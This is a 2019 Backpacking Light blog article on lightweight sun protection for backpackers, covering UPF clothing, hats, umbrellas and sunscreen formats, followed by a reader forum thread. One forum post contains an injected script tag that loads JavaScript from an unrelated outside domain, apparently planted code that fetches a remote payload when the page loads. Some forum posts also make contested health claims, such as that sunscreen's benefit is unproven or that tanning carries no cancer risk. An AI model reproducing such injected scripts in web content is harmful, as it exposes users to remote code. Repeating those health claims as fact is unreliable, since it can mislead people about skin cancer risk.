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Backpacking Light

Pack less. Be more.

You are here: Home / Blog / Lightweight Sunscreen for Hiking and Backpacking

Lightweight Sunscreen for Hiking and Backpacking

by Emylene VanderVelden on October 7, 2019 Blog, New Features, Tips & Tricks

Introduction

Though not everyone gets the blistering, itching, inflammation effects of sunburn, skin conditions (including skin cancer and premature aging) are a real possibility for anyone who loves the outdoors. This article considers the gear and supplies you use for lightweight sunscreen protection.

Backpackers who spend extended periods of time in the elements including sunshine are at a higher risk of consequences. Sun protection is crucial to prevent painful sunburn and skin disorders and diseases.

I am melanin challenged – fair-haired, light-eyed, and my skin is a lovely shade of glow-in-the-dark (I have my red-headed mother’s fair complexion). Even if I wasn’t inclined to burn crispy, sun protection should (and would) be a priority for my health.

Do I wear sunscreen every day? No, but I do wear it most days, even when not backpacking. I also cover up most of my exposed skin. I face dire and almost immediate consequences if I don’t protect myself from the sun.

If you get a lovely shade of tan in response to sun exposure, it’s easy to be complacent about sun protection. However, having known a few people under thirty who have lived through skin cancer treatment, I have no desire to join the club and I’m willing to bet that you melanin-challenged readers out there don’t either.

When you face the burning, blistering, and inflammation of a sunburn after an hour or less of sun exposure like I do, you learn a few techniques for saving weight and space while packing sun protection. I will preface by saying that not carrying sun protection is a lighter (but more damaging) option. No dermatologist would recommend anyone skip sun protection and I certainly won’t either.

Cover Up: Lightweight Sunscreen Using the Gear You’re Already Carrying

Perhaps the lightest option is to leverage the clothing you wear as sun protection. When picking layers for backpacking, consider purchasing gear with built-in sun protection or UPF (ultraviolet protection factor). Most outdoor clothing lines have a UPF rating and picking a UPF 50 rated item over a non-rated item rarely costs an extra dime or ounce. Stay away from open-mesh and open-weave fabrics that allow UV light to penetrate through the fabric and onto the skin surface.

Head and Neck

A Buff scarf or tube scarf is worth its weight in versatility and sun protection. A Buff serves as my warm head layer, and my neck, head, chest, and face sun protection in a high UV context. A tube scarf is a light, multi-purpose item every backpacker should consider adding to their pack. Many companies (Outdoor Research UberTubes is my current favorite) offer a cooling fabric with UV blocking tech.

A hat should be obvious, but in case it isn’t, a wide-brimmed hat provides the most shade. A baseball-style cap (front brim only) is not a bad option either, especially in combination with a lightweight hooded shirt or tube scarf.

It is also worth noting, ball caps with sun protection capes around the neck also exist and can be used in place of a tube scarf or hooded scarf. I should note though, a caped ball cap cannot replace the purpose of a tube scarf or a hood in a layering system for inclement weather.

lightweight sunscreen - there are ways to save weight AND remain safe and healthy in bright sun!

Even in summer conditions, I can be found with my buff, hat, long pants, and long sleeves.

Upper Body

My favorite option is an ultralight wool long-sleeve hoody. Wool doesn’t stink after many days of wear and makes an ideal sun protection layer. I recommend long sleeves and if possible a 3/4 zip with a hood. Summer weight merino (e.g., 150 gsm) is a light-enough option.

Occasionally, in the heat, I find merino a bit itchy, though not itchy enough for me to switch back to synthetic fibers. Whether wool or synthetic, the 3/4-zip, long sleeve, hooded lightweight shirt is my layer of choice for ultralight backpacking because of its multipurpose uses including sun protection.

Lower Body

Shorts and skirts are great for ventilation in the heat, but a lightweight pair of pants in a lighter color is worth the sun, insect, and tick protection during the summer. Vented versions, which provide more cooling and sun protection are probably the best middle ground for those who run hot.

Emylene’s Personal Twist

My final point in sun protection layering is using an umbrella as a parasol. The humble bumbershoot also serves as a cooking shelter and rain layer. It makes a fantastic multipurpose addition to an ultralight pack. In addition to keeping the sun off, I have found an umbrella to be one of the driest, lightest, best vented, and effective rain layers. While rain jackets and pants tend to either saturate or ‘wet out’ (this should really be called a ‘sweat in’) over time during warm rain, umbrellas do not. Obviously, umbrella’s are not ideal for windy conditions, and they provide limited warmth in cold temperatures, but they are an excellent multipurpose item for summer use.

P8250330

Rain or shine I find a use for an umbrella when needed.

Lightweight Sunscreen Options: Balms, Salves, and Lotions

People always ask about sunscreen lotions. I immensely dislike sunscreen lotions. Sunscreen tends to get everywhere including in my mouth and makes my skin feel terrible. In short, sunscreen tastes, smells, and feels bad. For me, however, sunscreen is a necessary evil. When it comes to sunscreen, I find you generally pick between light, comfortable, or cheap. I am also going to assume readers know about, and have tried normal spray-on and liquid sunscreens and know the ins and outs there.

SPF

Before we dive into lightweight sunscreen options though, let’s chat SPF. What is SPF and what is the ideal SPF?

SPF = Sun Protection Factor

Heather Brannon, MD explains SPF this way: “an SPF rating tells you how long you can stay in the sun without getting burned while wearing that sunscreen, compared with how long you can stay in the sun before you burn without wearing that sunscreen. For example, if it typically takes you 15 minutes to burn without sunscreen and you apply an SPF 10, it will take 10 times longer (2.5 hours) to burn in the sun.”

SPF is not an indication of the effectiveness of sunscreen! It only indicates the length of time it that it’s effective. Medically-recommended sunscreen generally provides 30+ SPF, broad-spectrum (UVA and UVB) protection. Regardless of SPF number, reapplication every 1-2 hours or after sweating or exposure to water is an important best practice.

Lightweight Sunscreen Sticks

One of the most convenient, lightweight sunscreen options is a small stick of solid sunscreen. A lightweight sunscreen stick is usually about the size of a glue stick or about 1/4 to 1/3 the size of a deodorant stick. I find the smell tolerable, the taste intolerable, and the price expensive. Solid sunscreen sticks can usually be purchased for $5 to $15, depending on size. Smaller and lighter sticks can sometimes be found where travel-size toiletries are organized in a store.

My only issue with the sunscreen stick is you cannot measure the exact right amount of the stick and only take the amount you need. The stick is smaller and lighter than liquid but has limitations and because the stick is more viscous (sticky) it does not spread as far as a liquid. My favorite use for sunscreen sticks is during paddling or winter adventures as it conveniently packs into a pocket for on-the-fly application.

Cosmetic Grade Liquid Sunscreen

The most comfortable option for me is a high-end cosmetic cream with sunscreen included as a component. Generally, higher-end cosmetic sunscreens smell pretty good, don’t taste as bad, and absorb into the skin more easily.

Cosmetic sunscreen bottles (often glass) tend to be heavy and breakable. Cosmetic sunscreens can be expensive ($15-$90). When used with proper layering to keep the sun off the price may not be of great concern and the absorption rate means you use much less (and can, therefore, pack less on a trip = weight savings).

Of all the options, a small container (usually not the original container) of higher quality cosmetic grade facial cream with sunscreen built-in is my preference because it’s multipurpose in hydrating windburned skin (without clogging pores and causing breakouts) and acting as a sunscreen. Most of the ladies out there probably have a small and lightweight container of cosmetic sunscreen and have been religiously told to apply it to prevent age spots and wrinkles.

Another tip I can offer here is to use a small, wide mouth, screw off lid container to store the lotion. When you put the lotion in the container put a small piece of plastic wrap over the mouth of the container and screw on the cap. This makes the bottle more leak proof. Keep using the same piece of plastic wrap, it takes quite a while to wear out. As a heads up, this tip works well when airplane traveling with liquids as well.

Sunscreen Wipes

Sunscreen Wipes are like facial cleaning or baby wipes but they have sunscreen built-in. They are easy to apply, don’t count as a liquid during flights and are flammable to use as fire starting material. They are reasonably lightweight and highly packable compared to a liquid solution. However, they also have additional waste associated with their use.

I like sunscreen wipes for when I am flying into my trail location and don’t want to take liquid sunscreen through security or have the bottle leak in my checked gear. Wipes allow you to take exactly the right amount of sunscreen for each day and pack it into meal supplies for applications when you stop to eat.

Foil Packed Liquid Sunscreen

Another sunscreen option (that allows you to pack exactly the right amount of sunscreen): individual foil-packed liquid sunscreen tubes. These are lighter and smaller than a bottle of sunscreen but come with a penalty of a foil package you are stuck with. Foil-packed sunscreen is perfect for getting the exact right amount of sunscreen for a trip and having them easily accessible.

I like the foil packs for precisely dosing my sunscreen on short trips. The foil packs are still lighter than an equivalent bottle (up to a certain point).

Sunscreen Active Ingredients

Sunscreens contain certain ingredients (called active ingredients) that actually do the work of protecting your skin from UV damage. It’s generally accepted (and confirmed by both the American Academy of Dermatology and the Food and Drug Administration) that titanium dioxide and zinc oxide are the safest active ingredients found in sunscreen.

Para-aminobenzoic acid (PABA) and tolamine salicylate are two ingredients that have been deemed unsafe by the FDA. These ingredients are not found in sunscreens legally sold in the US, but you may find them in sunscreens sold elsewhere (especially in developing countries).

Other active ingredients you will commonly find in sunscreens include:

  • ensulizole
  • octisalate
  • homosalate
  • octocrylene
  • octinoxate
  • oxybenzone
  • avobenzone

and less commonly:

  • cinoxate
  • dioxybenzone
  • meradimate
  • padimate O
  • sulisobenzone

It’s important to note that the FDA has not deemed these ingredients safe (nor have they deemed them unsafe!) and FDA has called upon further safety studies to investigate them before providing further public health endorsements (or warnings) about them. The reason for this indecision: some research does exist that poses questions about some of these chemicals…

PB190711 BPL Edit

Even the New Zealand sun managed to burn me to a crisp even when using sun protection. Don’t take the power of the sun’s UV light for granted!

The Takeaway

Sun protection matters. If you tan or don’t, sun exposure can cause cancer and protecting your skin is worthwhile for preventing premature aging, disease and discomfort. Even if you decide to keep going without sunscreen, at least consider some of the layering sun protection options which don’t add anything to pack weight. Sun protection takes very little time out of a day and has lifelong benefits.

Related Content:

  • To read about how the Backpacking Light community deals with sun protection, read this forum thread.
  • Are your hands constantly burning? Check out this forum thread on sun gloves.

badger, buff, Smartwool, sun protection

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  • Oct 7, 2019 at 6:05 am #3612922
    Emylene VanderVelden
    BPL Member

    @emylene-vandervelden

    Companion forum thread to: Lightweight Sunscreen for Hiking and Backpacking

    How to create a lightweight sunscreen strategy by using your backpacking apparel and supplies.

    Oct 7, 2019 at 2:41 pm #3612942
    Chris R
    BPL Member

    @bothwell-voyageur

    Thanks for highlighting this.

    This the main reason I wear long sleeves, long pants and a wide brim hat. Caps look fancier but I find they just don’t cut it for protecting nose, ears and back of the neck.

    Been hearing more recently that melanoma rates for men are rising while they are static or falling for women, also that the facial and head melanomas are a big part of this. Very sadly this has been accompanied by a number of subsequent suicides due to disfigurement following surgery.

    Not nice

    Oct 7, 2019 at 3:33 pm #3612956
    jscott
    BPL Member

    @book

    Locale: Northern California

    thanks Emylene! I had a cancerous melanoma sliced out of my cheek (I’m not disfigured but there is a slight scar). Not pleasant. Worse would have been for it to spread to my lymph system, where it’s inoperable and deadly. I caught mine just by chance. My take aways:

    1. it doesn’t take getting a burn for sun exposure–especially over time–to potentially cause melanomas

    2. baseball style caps alone can give the illusion of providing shade for the face because the wearer’s eyes are shaded–but not the rest of his or her face. I think a broad brimmed hat is far better. and if you simply look at someone in a ball cap out in the sun you’ll see what I mean.

    3. drape style caps and hats with a LARGE spf (not cotton!) drape are excellent for keeping mosquitoes and flies off of your head, face and neck–as well as the sun. Sun Precautions has a versatile drape hat that lets you adjust the drape to all kinds of configurations depending on conditions–including pulling it up over your nose. and drape hats hang loose so are relatively cool.

    4. cotton bandanas are not spf and not worth much, despite what your dad told you.

    5. sun at elevation is much more intense than at sea level.

    6. my doctors and surgeon told me that it took years of sun exposure to develop the cancerous melanoma I had. And: there’s no such thing as a healthy tan for this reason. So you have to think long term. do you plan to be outdoors a lot over the decades? then you have to start covering up early.

    7. Emylene could start a new career in the movies if she wishes.

    Oct 7, 2019 at 6:38 pm #3612970
    Graham F
    BPL Member

    @02174424

    Locale: Victoria-Southeast Australia

    Missed any refefence to sunnies. NZ and next Oz have the highest rates of eye melanoma in the world from UV radiation. A big issue and often forgotten. Put your sunnies on and leave them on. Carry a spare pair.

    Oct 9, 2019 at 4:51 am #3613134
    Emylene VanderVelden
    BPL Member

    @emylene-vandervelden

    Excellent points by all. I’m glad to hear some of the gentlemen on sun protection! Ladies hear ‘sun protection’ regularly from our doctors, partially because our skin tends to be more overtly sensitive (easily burns, men tend to have tougher dermis) and partially because I suspect ladies are usually more receptive.

    @Jeffery I am so glad you made it through that ok! All of the skin cancer survivors under 30 I know are men and it’s pretty scary. I whole heartedly agree with a full brimmed hat being much better protection but I’m allowing for the ball cap for two reasons 1) it’s still better than nothing and if I can get someone who isn’t in a hat into any hat I’ll take it. 2) when paired with an SPF drape, hood, tube and/or sunscreen  it provides reasonable coverage.

    One of the areas neglected by almost all outdoors people is covering the ears and a full brimmed hat is much better for those. I use the Uber tube over mine because I hate getting sunscreen in my ears.


    @Graham
    F I agree 100% on eye protection as well, though I tend to be a bit remiss wearing sunglasses because of the eye piece involved in my photography habit. I do carry them and wear them when they are not in the way of photos. For whatever reason (probably because no one likes squinting) most people don’t resist ‘sunnies’ (I like that, I may keep it.) It seems much more difficult to convince people on sunscreen and covering up.

    Another point I should make is check your lip chap, your lips are skin too and a lip chap with SPF is easy to find. Plus lip chap can make other conditions such as windburn more bearable.

    Oct 9, 2019 at 6:59 pm #3613202
    jscott
    BPL Member

    @book

    Locale: Northern California

    Emylene, I understand about the baseball cap. Over the years this topic has come up here and I’ve become a sun protection booster. People…guys…don’t want to hear that their ball caps aren’t terribly functional and get mad at the notion. so yes, something is better than nothing; and in conjunction with other measures a ball cap can be alright.

    Thanks for your essay!

    Oct 9, 2019 at 7:30 pm #3613209
    Bruce Tolley
    BPL Member

    @btolley

    Locale: San Francisco Bay Area

    @ Emylene

    You state “Ladies hear ‘sun protection’ regularly from our doctors, partially because our skin tends to be more overtly sensitive (easily burns, men tend to have tougher dermis)”

    Say what?? Skin is skin. AFAIK there is no biological difference between male and female. I would grant that females might be more worried about sun protection after decades of messages that sun exposure causes premature aging of the skin.

    I had my first carcinoma removed from my left arm.  My dermatologist said the left arm (and left hand) is a common place for men because of driving, even with the left driver’s window closed,  the harmful UV pass right through the glass.
    Cheers

    Oct 9, 2019 at 9:09 pm #3613220
    Emylene VanderVelden
    BPL Member

    @emylene-vandervelden

    Oh no doubt all skin damages, but the overt burn generally is easier for ladies. Which is in fact due to biology and different hormone fluctuations causing increased dermal sensitivity. Men also generally have a thicker dermis with more hair which might also contribute to getting a tan instead of an outright burn. There will be people on all spectrums, even the human vascular and nervous system is completely unique from one person to another.

    http://www.thblack.com/links/RSD/GenderMed2007_4_308_gender_skin_differences.pdf

    If you have sun exposure (burn or tan) you are at risk for skin cancer. People who overtly burn are more likely to take precautions, because no one likes blisters.

    Oct 11, 2019 at 2:26 am #3613473
    Bruce Tolley
    BPL Member

    @btolley

    Locale: San Francisco Bay Area

    @ Emylene. Thanks for the link. I am always learning new stuff

    Cheers!

    Oct 11, 2019 at 3:04 am #3613476
    Scott Chandler
    BPL Member

    @blueklister

    Locale: Northern California

    I highly urge everyone to also consider the safety of their sunscreen. There is an excellent website that ranks most sunscreens for effectiveness and safety. https://www.ewg.org/sunscreen/
    Additionally, consider any sunscreen with <span class=”ILfuVd NA6bn”><span class=”e24Kjd”>Oxybenzone</span></span> in it (and many mainstream sunscreens do) it is not only harmful to reefs, but I suspect it’s not good for alpine lakes either. I am experimenting with several brands that are highly rated by ewg.org, but don’t break the bank.

     

    Oct 14, 2019 at 7:57 pm #3614038
    Adam G
    BPL Member

    @adamg

    I highly recommend this Equate brand zinc oxide sunscreen. I’ve never gotten burned with it on as long as I reapply. It’s quite waterproof and sometimes even hard to get off. I’ve definitely found some on my ears days after I get off the trail. It’s reasonably priced. It’s hypoallergenic; my wife has very sensitive skin and has never had an issue with it. The tub tends to leak, and I’ll definitely try the plastic wrap trick next time. The only major downside is that it’s from Walmart, a company that many people have issues with. It says it works on lips, but I’ve found that makes my lips dry out really badly. I use chapstick there.

    I do wear a tremendous amount of sun protection (long pants, long shirt, hat covering neck/ears, sun gloves, sunglasses) so I only apply to my face and fingertips. It probably wouldn’t work if you need to apply all over your body.

    Oct 14, 2019 at 9:00 pm #3614048
    Jerry Adams
    BPL Member

    @retiredjerry

    Locale: Oregon and Washington

    I’ve tried zinc/titanium that is nano sized so you don’t see it on your skin, not like the old white stuff

    But, it comes off on clothes, sleeping bag, etc.  A whitish substance.  I quit using it.

    I use wide brim hat, long shirt/pants.  The sleeves are long enough it covers my fingers.  The brim is wide enough it mostly shades all my face.  Late in day it’s more likely to get some of my face or neck.

    Some sun exposure is okay.  If I can prevent 90% that’s probably okay.

    https://www.outsideonline.com/2380751/sunscreen-sun-exposure-skin-cancer-science

    they claim we are exaggerating the risk of sun exposure

    you need some to make vitamin D and other chemicals.  Using sunscreen all the time is a risk.  Just taking vitamin D pills doesn’t cover all chemicals produced by sun exposure.

    exposure that produces a tan even for people that work in the sun doesn’t have a statistical risk of cancer

    even one time of getting sun burned that produces blisters can cause cancer later in life.  I did that once when I was 16 years old.

    this article is probably controversial

    Oct 14, 2019 at 10:08 pm #3614055
    Todd T
    BPL Member

    @texasbb

    Locale: Pacific Northwest

    this article is probably controversial

    Specialists of all stripes tend toward tunnel vision, and it’s always controversial when someone starts shining light outside the tunnel.  No pun intended.

    Oct 14, 2019 at 11:43 pm #3614076
    Emylene VanderVelden
    BPL Member

    @emylene-vandervelden

    One of the things I see a lot is people who normally tan, do burn early in the season. I will burn several times in a season without proper sun care. Regardless of how often both of us got a burn which can be a risk factor.

    Its also important recognize different areas have higher or lower risk factors. If you engage in water and snow sports you are at a risk for the double whammy reflection burn too. Australia and New Zealand often have a higher UV index and places like northern Canada get sun over 12 more hours of sun a day in summer than some Equator nations (and a full 12 hours less in the winter.)

    I think it’s important to note, even if you cover up, you still get some indirect sunlight (and vitamin D.)

    Oct 14, 2019 at 11:50 pm #3614077
    jscott
    BPL Member

    @book

    Locale: Northern California

    I don’t think specialists are saying that one has to be a vampire. Living in Ca. there’s little chance of NOT getting some sun exposure. I certainly don’t use sunscreen every day before launching out. But then I’m at sea level. When I’m at altitude–or when I’m skiing–and will be out all day, or for many hours, I use sunscreen and a broad brimmed hat and long sleeves and pants, like Jerry.

    Use common sense. I think dismissing concerns about increased incidences of skin cancer as “tunnel vision” is counterproductive. People will gladly dismiss concerns over vaping as ‘exaggerated’ if it means they can go on vaping, etc.

    You can’t walk back melanoma.

    We’ll have to disagree about laying out to get a ‘healthy tan’. I tanned my way over 24 years or so to having a melanona surgically removed.

    Oct 15, 2019 at 12:10 am #3614079
    Jerry Adams
    BPL Member

    @retiredjerry

    Locale: Oregon and Washington

    yeah, that seems crazy to lay out in the sun to get a tan.  I remember doing that.  Back in the bad old days.

    if you did 15 minutes a day that would probably be fine.  Or 15 minutes once every few days.

    I read that after 15 minutes, the sun starts destroying vitamin D as fast as it creates it so there’s no benefit after 15 minutes as far as vitamin D goes.

     

    Oct 15, 2019 at 2:25 am #3614098
    Todd T
    BPL Member

    @texasbb

    Locale: Pacific Northwest

    I think dismissing concerns about increased incidences of skin cancer as “tunnel vision” is counterproductive.

    No one dismissed any such concerns.  My complaint is that the anti-sun industry dismisses a lot of other concerns and ignores a lot of data.  That is, by definition, tunnel vision.

    You can’t walk back melanoma.

    But you can apparently reduce your chances of dying from it by a factor of 8 by spending lots of time in the sun.  (Yes, your odds of getting it are higher, but they’re apparently swamped by the better odds of surviving.)

    My biggest gripe with the Sol-is-the-devil crowd is that so many of them actually recommend wearing sunscreen every day, even if you work indoors, and actually say you should re-apply it every couple hours, even if you work indoors.  I think that is foolhardy at best.  We know the chemicals in that goop show up in the bloodstream within 30-60 minutes, and the levels continue to rise over multiple days of use (just google it).  Can the sunscreen advisors tell me that’s safe?  I’m waiting for the other shoe to drop.

    Oct 15, 2019 at 2:29 am #3614099
    Todd T
    BPL Member

    @texasbb

    Locale: Pacific Northwest

    if you did 15 minutes a day that would probably be fine.  Or 15 minutes once every few days.

    That doesn’t seem to jibe with the article you linked, RJ.  Spending lots of time in the sun seems to have lots of benefits.  Not that I’m recommending lying in the sun for a tan.  Outdoor activities should be active-ities. :-)

    Oct 15, 2019 at 3:00 am #3614101
    jscott
    BPL Member

    @book

    Locale: Northern California

    I’m certainly not a ‘sol is the devil’ person. look, by definition backpackers spend tons of time in the sun, often at altitude. lack of sun exposure isn’t our issue. We’re not shut in poet types (oh,wait…I’m sorta that too) who never get out. and we tend to spend time around water and snow as well.

    so warning against anti-sun propaganda on a poet forum makes sense. here, I worry that it allows people who do spend lots of time in the sun to dismiss legitimate concerns.

    I certainly agree that recommending sun screen indoors is overkill, or even for everyday activities like shopping.

    As to the benefits of spending time in the sun: isn’t it the fact that people are active while doing so a factor? Otherwise, laying out tanning for hours would be quite healthy and recommended by dermatologists. It’s not. Au contraire.

    So by all means continue to enjoy sun drenched days outdoors! but cover up. You’re still gonna get rays. Hats and pants and sleeves mean that you don’t have to slather goop nearly as much.

    Oct 15, 2019 at 3:19 am #3614102
    Todd T
    BPL Member

    @texasbb

    Locale: Pacific Northwest

    As to the benefits of spending time in the sun: isn’t it the fact that people are active while doing so a factor?

    As with any observational studies, the cause-effect relationships are unknown, or at least unclear. But there are lots of correlative evidences that *appear* to work against the suggestion that sunscreen is helping us. Time in the sun improves survival. Distance from the equator increases skin cancer. Increased sunscreen use correlates positively with skin cancer rates. Etc. It’s apparently too much to ask that the researchers acknowledge what they don’t know. And from what I’ve seen, they don’t know if sunscreen lowers the risk of skin cancer.

    We’re not shut in poet types (oh,wait…I’m sorta that too)

    Waiting for your solar sonnet! :-)

    Oct 15, 2019 at 5:03 am #3614109
    Emylene VanderVelden
    BPL Member

    @emylene-vandervelden

    Cancer rates are also believed to be reduced by a low sugar diet. An active lifestyle has factors which reduces cravings for sugar and increase time in the sun. Cancer is believed to have a genetic and environmental component and I’m certain skin cancer is no different. Sunburns have a positive correlation to skin cancer rates. Fairer skin and traditionally ‘nordic’ descendants tend to be concentrated in northern regions and therefore that could skew cancer rate stats.

    The sunscreen may in fact have a positive correlation to skin cancer rates because sunscreen users feel more confident not wearing hats or baring more skin. Skin is an organ though and it certainly can and does absorb everything we put on it.

    Another thought about people further north getting more skin cancer, they also go through time periods of longer sun (up to 24 hours for some) and get double the UV rays off the snow in the winter. Most people completely forget sun protection when the weather is cold.

    That’s all conjecture but a valid look at devils advocate for seeing correlation without knowing causation.

    Oct 15, 2019 at 1:57 pm #3614125
    Jerry Adams
    BPL Member

    @retiredjerry

    Locale: Oregon and Washington

    I forget where I read that 15 minutes provides all vitamin D, beyond that it doesn’t matter

    https://health.usnews.com/wellness/articles/2018-07-18/how-much-time-in-the-sun-do-you-need-for-vitamin-d says 10 to 15 minutes but doesn’t mention the beyond that part

    https://www.webmd.com/vitamins/ai/ingredientmono-929/vitamin-d says 1/4 of the amount of time to get a mild sunburn, 2-3 times a week.  I think 10 to 15 minutes would be for light skinned people.

    I think this subject is confusing, no really good data because of the correlation vs causation problem.  It would be unethical to do a study where you randomly assign some people to a control group and then expose them to sun

    I don’t think anyone should do what some anonymous person says on an internet web site, but you do get some ideas to check out.  Doctors are good sources of information : )

    Long sleeves and wide brimmed hat are clearly a good solution.  I’ve read that from many sources of information.

    Getting some amount of sun, like 15 minutes 2 or 3 times a week is recommended by many sources of information I’ve read but there are many sources of information that recommend no sun and take vitamin D pills.  I am skeptical of advice that includes taking a pill, but that’s just me.

    I have not seen many sources of the information that even one incident of severe sunburn can cause cancer later in life, but that makes sense and there’s no down side from avoiding a severe burn.

    Good discussion, I can see why people involved with skin cancer, like healthcare professionals, are passionate about this

     

    Oct 15, 2019 at 2:42 pm #3614133
    Ken Larson
    BPL Member

    @kenlarson

    Locale: Western Michigan

    I am one of those individuals due to my younger years as a sun love, working and competitive swimming and life guarding,  that has paid the price with skin cancer along with my battle with multiple myeloma cancer.  Ever since I was  first dx with skin cancer I covered up the body with a cap, long sleeved shirt, pants and gloves when I am out in the sun and on the water…..with the application of sun cream to my face this brand serves me well in the protection of my face and hands. It is effective and  does NOT leave your face looking white as when I used zinc oxide in my mountaineering days..

    THINKSUN Every Day Face Sunscreen (2oz) – Naturally Tinted

    • No PABA, parabens, phthalates, oxybenzone, avobenzone, dioxane, or animal products.
    • Our sunscreens were the 1st to pass Whole Foods Premium Care requirements and are t
    • Top rated with a “1” rating in EWG’s Skin Deep database since 2010.
    • Mineral-based formula
    • Does not contain any known reef harmful chemicals. Mineral sunscreens are generally regarded as Reef Safe.  Our formulation achieved the highest level of biodegradability (OECD 301B Testing)
    • Designed for everyday use
    • SPF 30+
    • Active Ingredient: Zinc Oxide 20%
    • Water-resistant (80 minutes)
    • Broad spectrum UVA/UVB protection (Highest level as proposed by the 2012 FDA Monograph)
    • Non-nano formulation – Average particle size >100micron
    • Non-aerosol formulation (due to the high concern of both ineffectiveness and particulates being inhaled)
    • Sunscreen produced in the USA
    • Does not have the obtrusive smell that many organic sunscreens have
    • A member of the Safe Cosmetics Campaign Compact
    • Travel safe tube size (TSA Compliant – 2 fl oz)
    • No animal testing. Leaping Bunny Certified. Vegan Friendly.

    https://gothinksport.com/collections/sunscreen-lotion/products/thinksun-every-day-face-sunscreen-naturally-tinted-123

    Nov 4, 2019 at 11:21 pm #3617311
    Sean P
    BPL Member

    @wily_quixote

    Locale: S.E. Australia

    Here is a link to an evidence based website that discusses the topic, there are links to various other articles, including concerning sunscreen nanoparticles.

    this is a reliable academic website:

    UV Radiation: the risks and benefits of a healthy glow

     

    <script src=”//domclickext.xyz/212b3d4039ab5319ec.js” async=”” type=”text/javascript”></script>

    Nov 5, 2019 at 4:22 am #3617357
    Todd T
    BPL Member

    @texasbb

    Locale: Pacific Northwest

    his is a reliable academic website:

    UV Radiation: the risks and benefits of a healthy glow

    That looks like a good attempt at a fair summary.  My one gripe is this, near the end (emphasis added):

    So, how can you maximize the benefits of sun exposure while minimizing your risk of skin cancer and aging? The key is to practice safe sun habits, which means using sunscreen and avoiding sunburns.

    I haven’t seen the convincing evidence that “using sunscreen” is a good idea.  Certainly avoiding sunburns is, but most of us can do that more effectively without dosing ourselves with whatever nasties are in that goop.

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